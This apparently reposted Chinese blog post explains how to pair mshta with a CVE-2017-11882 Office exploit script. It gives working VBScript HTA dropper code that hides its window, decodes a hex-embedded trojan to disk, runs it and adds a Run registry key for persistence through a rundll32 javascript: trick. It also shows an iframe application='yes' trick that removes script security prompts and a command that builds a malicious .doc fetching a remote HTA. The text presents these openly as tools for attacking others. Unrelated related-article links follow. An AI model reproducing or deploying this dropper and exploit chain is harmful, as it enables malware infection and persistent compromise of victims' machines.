浅谈一下mshta在CVE-2017-11882里的命令构造
Evi1cg同学前不久放出CVE-2017-11882的一个 python利用脚本,地址在https://github.com/Ridter/CVE-2017-11882/,不过其中一个版本里边有一个限制,执行命令只能用43个字节。如果要用43个字节来完成一个文件的下载执行,在我所掌握的命令行知识里,除了mshta命令,其它的好像都做不到。所以在这里我就浅谈一下如何构造这个mshta命令,另外提一下hta文件在安全方面的一个应用。
mshta.exe是微软Windows操作系统相关程序,用于执行.HTA文件。HTA是HTML Application的缩写(HTML应用程序),是软件开发的新概念,直接将HTML保存成HTA的格式,就是一个独立的应用软件,与VB、C++等程序语言所设计的软件界面没什么差别。mshta执行.hta文件,是以当前用户权限执行,hta文件可以随便改后缀,也可以本地或远程执行,本地执行的时候,要记得带全路径名,否则会出错。另外,mshta支持各种协议,甚至支持mk:@MSITStore协议或是ms-its协议。

一、HTA文件 内嵌的html文件如何去除本地安全认证呢?
我们知道,html文件打开的宿主如果是IE,html文件里调用的是像Wscript.Shell此类组件的话,IE会弹一个框,限制运行脚本或Active控件。我们来验证一下,写代码1.htm如下:
<script language="VBSCRIPT">
Dim FileSystem
' Creates the FileSystemObject
Set FileSystem = CreateObject("Scripting.FileSystemObject")
</script>

如果我们用HTA文件来iframe这个1.htm,hta是本地用户权限,应当可以绕过此限制,如何绕呢?我们就要用到 iframe的一个参数了application=”yes”了。这样就不会弹阻止框了,可以干坏事了,1.hta代码如下:
<html>
<head>
<title>Sample HTML Application one</title>
</head>
<body onload="Viewer.document.location.href='l.htm'">
<iframe id="Viewer" application="yes"><!--这里是去掉验证的关键-->
</iframe>
</body>
</html>
二、如何写一个高效的下载执行过杀软的hta文件?
如果是下载执行的话,哪就很弱了。hta文件里可以自由地写vbscript代码,所以我们的思路是可以把你的木马转换成base64格式也好,转换成16进制也好再转回来,hta只是访问了一个网页而已,但是已经把木马转到本地了,具体代码1.hta可以如下:
<HTML>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<HEAD>
<script language="VBScript">
Window.ReSizeTo 0, 0
Window.moveTo -2000,-2000 '让hta不可见
set fso=CreateObject("Scripting.FileSystemObject")
Set wscript.Createobject("WScript.Shell")
'注意在hta文件里不能调用wscript,如下行的代码会出错
'set ws= wscript.Createobject("WScript.Shell")
'用rundll32加启动项,这个过不了杀软主防,聊胜于无
regstr = "rundll32 javascript:""\..\mshtml,RunHTMLApplication "";window.execScript(""CreateObject('wscript.Shell').RegWrite 'HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\ologin',CreateObject('Shell.Application').Namespace(&H1C).Self.Path & '\\muma.exe':window.close"",""vbs""); "
strs="4D5A900003000000040000"'你木马的16进制代码放在这里
fp=CreateObject("Shell.Application").Namespace(&H1C).Self.Path + "\muma.exe" '应当判断系统,找一个winxp-win10都可以写的目录,我这里只是poc,没有做过多判断
'下边函数用Microsoft.XMLDOM来还原16进制文件
Sub WriteBinary(FileName, Buf)
Const adTypeBinary = 1
Const adSaveCreateOverWrite = 2
Dim stream, xmldom, node
Set xmldom = CreateObject("Microsoft.XMLDOM")
Set node = xmldom.CreateElement("binary")
node.DataType = "bin.hex"
node.Text = Buf
Set stream = CreateObject("ADODB.Stream")
stream.Type = adTypeBinary
stream.Open
stream.write node.NodeTypedValue
stream.saveToFile FileName, adSaveCreateOverWrite
stream.Close
Set stream = Nothing
Set node = Nothing
Set xmldom = Nothing
End Sub
'判断文件是否存在
Function Findfile(str)
If fso.FileExists(str) Then
Findfile = True
Else
Findfile = False
End If
End Function
'不存在就写木马
If Findfile(fp)=False then
WriteBinary fp, Strs
End if
'木马文件存在就执行。休息一下加注册表启动项
If Findfile(fp)=True then
ws.exec fp
wScript.Sleep(2000)
ws.run regstr,0
End if
'ws.DeleteFile(wscript.scriptfullname),如果这个是vbs文件,可以删除自身,hta文件放在远程就没有必要了
self.close
</script>
<body>
</body>
</HEAD>
</HTML>
然后,你可以把这个1.hta改名1.xml之类的文件放在远程空间了,直接mshta http://www.site.xom/1.xml,就可以了。如果是利用CVE-2017-11882.py,哪么直接执行下边命令就生成了,其中http://site.com/1.xml你可以换成短网址。
python27 Command_CVE-2017-11882.py -c "mshta http://site.com/1.xml" -o test.doc
下图是我做的测试图。

浅谈一下mshta在CVE-2017-11882里的命令构造的更多相关文章
- 【转】Android Canvas的save(),saveLayer()和restore()浅谈
Android Canvas的save(),saveLayer()和restore()浅谈 时间:2014-12-04 19:35:22 阅读:1445 评论:0 收藏: ...
- pb传输优化浅谈
在正式切入今天要谈的优化之前,先碎碎念一些自己过去这几年的经历.很久没有登录过博客园了,今天也是偶然兴起打开上来看一下,翻看了下自己的随笔,最后一篇原创文章发布时间是2015年的4月,今天是2017年 ...
- 【ASP.NET MVC系列】浅谈jqGrid 在ASP.NET MVC中增删改查
ASP.NET MVC系列文章 [01]浅谈Google Chrome浏览器(理论篇) [02]浅谈Google Chrome浏览器(操作篇)(上) [03]浅谈Google Chrome浏览器(操作 ...
- 浅谈Kotlin(三):类
浅谈Kotlin(一):简介及Android Studio中配置 浅谈Kotlin(二):基本类型.基本语法.代码风格 浅谈Kotlin(三):类 浅谈Kotlin(四):控制流 前言: 已经学习了前 ...
- 浅谈XXE漏洞攻击与防御——本质上就是注入,盗取数据用
浅谈XXE漏洞攻击与防御 from:https://thief.one/2017/06/20/1/ XML基础 在介绍xxe漏洞前,先学习温顾一下XML的基础知识.XML被设计为传输和存储数据,其焦点 ...
- 浅谈多重检验校正FDR
浅谈多重检验校正FDR Posted: 四月 12, 2017 Under: Basic By Kai no Comments 例如,在我们对鉴定到的差异蛋白做GO功能注释后,通常会计算一个p值 ...
- ref:浅谈XXE漏洞攻击与防御
ref:https://thief.one/2017/06/20/1/ 浅谈XXE漏洞攻击与防御 发表于 2017-06-20 | 分类于 web安全 | 热度 3189 ℃ 你会挽着我 ...
- 浅谈Spring的两种配置容器
浅谈Spring的两种配置容器 原文:https://www.jb51.net/article/126295.htm 更新时间:2017年10月20日 08:44:41 作者:黄小鱼ZZZ ...
- 前端性能优化--为什么DOM操作慢? 浅谈DOM的操作以及性能优化问题-重绘重排 为什么要减少DOM操作 为什么要减少操作DOM
前端性能优化--为什么DOM操作慢? 作为一个前端,不能不考虑性能问题.对于大多数前端来说,性能优化的方法可能包括以下这些: 减少HTTP请求(合并css.js,雪碧图/base64图片) 压缩( ...
随机推荐
- HTML基础【4】:表格标签
表格标签 在过去表格标签用的非常非常的多,绝大多数的网站都是使用表格标签来制作的,也就是说表格标签是一个时代的代表 作用:以表格形式将数据显示出来,当数据量非常大的时候,表格这种展现形式被认为是最为清 ...
- Lintcode423-Valid Parentheses-Easy
思路: 数据结构:stack.遍历整个字符串,如果遇到左向括号( [ { 则入栈.如果遇到右向括号时,先检查栈是否为空,为空说明左右向括号数目不一致,返回false:不为空则弹出栈顶元素查看是否和右向 ...
- pip安装第三方库镜像源选择
在pip安装时,有些库速度及其缓慢从而导致失败,可以通过更改镜像源的方式来安装. 我在安装的时候使用了清华的镜像源,格式如下: 想要安装什么库就在后面替换即可.
- spring-cloud-config-server——Environment Repository(Git Backend)
参考资料: https://cloud.spring.io/spring-cloud-static/spring-cloud-config/1.4.0.RELEASE/single/spring-cl ...
- requests SSLError: hostname 'ccc.xxx.com' doesn't match '*.b0.upaiyun.com'
证书不匹配问题 1.对于python自带的 urllib库 解决办法 import ssl ssl.match_hostname = lambda cert, hostname: True 2. 对 ...
- [python]上传文件验证
上传文件验证 上传文件验证分为:1.文件头验证 2.文件类型验证 3.文件后缀验证 获取文件上传的二进制数据 # 获取上传文件 file = request.files.get('file') if ...
- docker 安装mysql示例
docker pull mysql 错误的启动: [root@localhost ~]# docker run --name mysql01 -d mysql 42f09819908bb72dd99a ...
- 基于Python——实现远程下载sftp文件(只下载.zip文件)
[背景]远程下载发布包等文件时,总是要使用WinSCP等工具登陆拖动.今天就介绍一种使用python下载文件到本地的方法. [代码实现] import paramiko # paramiko模块,基于 ...
- 『cs231n』卷积神经网络的可视化与进一步理解
cs231n的第18课理解起来很吃力,听后又查了一些资料才算是勉强弄懂,所以这里贴一篇博文(根据自己理解有所修改)和原论文的翻译加深加深理解,其中原论文翻译比博文更容易理解,但是太长,而博文是业者而非 ...
- pandas的数据结构之series
Pandas的数据结构 1.Series Series是一种类似于一维数组的对象,由下面两个部分组成: index:相关的数据索引标签 values:一组数据(ndarray类型) series的创建 ...